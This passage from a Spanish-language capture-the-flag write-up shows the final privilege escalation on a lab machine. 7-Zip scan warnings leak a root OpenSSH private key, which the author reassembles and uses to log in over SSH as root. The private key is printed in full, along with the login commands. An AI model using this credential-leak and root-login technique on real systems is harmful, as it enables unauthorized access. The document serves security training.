p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Xeon(R) Gold 5218 CPU @ 2.30GHz (50657),ASM,AES-NI)
Open archive: /var/backups/project.zip
--
Path = /var/backups/project.zip
Type = zip
Physical Size = 54830415
Scanning the drive:
WARNING: No more files
-----BEGIN OPENSSH PRIVATE KEY-----
WARNING: No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
WARNING: No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi
WARNING: No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
WARNING: No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
WARNING: No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
WARNING: No more files
-----END OPENSSH PRIVATE KEY-----
2984 folders, 17948 files, 113879509 bytes (109 MiB)
Updating archive: /var/backups/project.zip
Items to compress: 20932
Files read from disk: 17948
Archive size: 54830556 bytes (53 MiB)
Scan WARNINGS for files and folders:
-----BEGIN OPENSSH PRIVATE KEY----- : No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW : No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi : No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q : No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs : No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM= : No more files
-----END OPENSSH PRIVATE KEY----- : No more files
----------------
Scan WARNINGS: 7
donde puedo ver la SSH
key, pero dividida en partes.
“Reconstruyo” la key y la guardo en mi máquina de atacante:
❯ cat id_rsa_root
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----
Me conecto a la máquina víctima como el usuario root
via SSH
:
❯ chmod 600 id_rsa_root
❯ ssh -i id_rsa_root root@10.10.11.18
<SNIP>
root@usage:~# whoami
root
y, finalmente, podemos leer la flag del usuario root
en el directorio /root
.
~ Happy Hacking